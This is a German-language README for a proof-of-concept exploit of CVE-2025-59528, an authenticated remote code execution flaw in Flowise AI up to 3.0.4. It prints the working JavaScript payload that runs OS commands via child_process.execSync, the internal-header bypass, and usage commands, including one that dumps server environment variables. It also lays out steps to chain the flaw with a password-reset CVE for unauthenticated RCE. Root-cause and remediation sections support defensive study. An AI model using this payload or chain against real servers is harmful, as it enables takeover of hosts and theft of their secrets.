CVE-2025-59528 — Flowise AI Authentifizierte Remote-Codeausführung (RCE)

Übersicht

CVE-ID: CVE-2025-59528
Betroffene Software: Flowise AI
Anfällige Versionen: <= 3.0.4
Behobene Version: 3.0.5 und später
Schweregrad: Kritisch
Autor: r3nsi15
Datum: 2025

Beschreibung

Flowise AI-Versionen bis einschließlich 3.0.4 ermöglichen es einem authentifizierten Benutzer, Remote-Codeausführung (RCE) auf dem Host-Server zu erreichen, indem er ein manipuliertes JavaScript-Payload an den Endpunkt /api/v1/node-load-method/customMCP sendet.

Die load-Methode des customMCP-Knotens akzeptiert vom Benutzer kontrollierte Eingaben, die serverseitig als JavaScript ausgewertet werden, ohne ausreichende Bereinigung oder Sandboxing. Durch das Injizieren eines Payloads, das Node.js' child_process.execSync nutzt, kann ein Angreifer beliebige Betriebssystembefehle mit den Privilegien des Flowise-Serverprozesses ausführen.

Der Endpunkt erfordert außerdem, dass der Header x-request-from: internal vorhanden ist.

Betroffener Endpunkt

Proof of Concept

Datei: CVE-2025-59528_POC.py

Voraussetzungen

• Python 3.x
• requests-Bibliothek
• Gültige Anmeldedaten für ein beliebiges Benutzerkonto auf der Ziel-Flowise-Instanz

pip install requests

Verwendung

python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

Argumente

Beispiele

Codeausführung überprüfen:

python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

Umgebungsvariablen des Servers abrufen:

python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

Erwartete Ausgabe

[+] Logged in
[+] Exploit sent
[+] Status: 200

Aufbau des Payloads

Der Exploit injiziert den folgenden JavaScript-Ausdruck in das Feld mcpServerConfig:

({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})

• process.mainModule.require('child_process') — lädt Node.js' integriertes Modul zur Prozessausführung.
• execSync('<command>') — führt den vom Angreifer bereitgestellten Betriebssystembefehl synchron aus.
• Der gesamte Ausdruck ist in ein Objektliteral eingebettet, um sicherzustellen, dass er innerhalb des JavaScript-Kontexts des Servers sauber ausgewertet wird.

Der Header x-request-from: internal wird ebenfalls an die Anfrage angehängt, um eine interne Herkunftsprüfung zu bestehen, die den Aufruf sonst blockieren würde.

Grundursache

Der Endpunkt customMCP übergibt benutzergesteuerte Eingaben direkt in einen JavaScript-Auswertungskontext auf dem Server, ohne Bereinigung oder Sandboxing. Zusammen mit dem uneingeschränkten Zugriff auf Node.js-Kernmodule (insbesondere child_process) über process.mainModule.require entsteht ein trivial ausnutzbarer RCE-Vektor. Die Überprüfung des Headers x-request-from bietet keine sinnvolle Sicherheitsgrenze, da er nicht gegen eine vertrauenswürdige Quelle validiert wird.

Verkettung mit CVE-2025-58434

Diese beiden Schwachstellen können für einen nicht authentifizierten RCE-Angriffspfad gegen Flowise-Instanzen, die Versionen <= 3.0.4 ausführen, verkettet werden:

1. Verwenden Sie CVE-2025-58434, um das Passwort eines bekannten Kontos zurückzusetzen (keine vorherige Authentifizierung erforderlich).
2. Melden Sie sich mit den neu gesetzten Anmeldedaten an.
3. Verwenden Sie CVE-2025-59528, um beliebige Betriebssystembefehle auf dem Server auszuführen.

Behebung

• Aktualisieren Sie auf Flowise AI 3.0.5 oder höher, das den anfälligen Auswertungspfad entfernt oder ordnungsgemäß sandboxt.
• Werten Sie niemals benutzergesteuerte Zeichenketten als Code in einem serverseitigen Kontext aus.
• Beschränken Sie den Zugriff auf gefährliche Node.js-Module (child_process, fs, usw.) durch eine ordnungsgemäße Sandbox (z. B. vm2, isolierte Kontexte oder Entfernen des Zugriffs auf process.mainModule).
• Validieren und authentifizieren Sie den Header x-request-from über einen serverseitigen Mechanismus anstelle einer einfachen Zeichenkettenprüfung.
• Wenden Sie das Prinzip der geringsten Privilegien auf den Flowise-Serverprozess an.

Haftungsausschluss

Dieses Proof of Concept wird ausschließlich für pädagogische und autorisierte Sicherheitsforschungszwecke bereitgestellt. Die Verwendung dieses Skripts gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal und unethisch. Der Autor und die Mitwirkenden übernehmen keine Haftung für Missbrauch.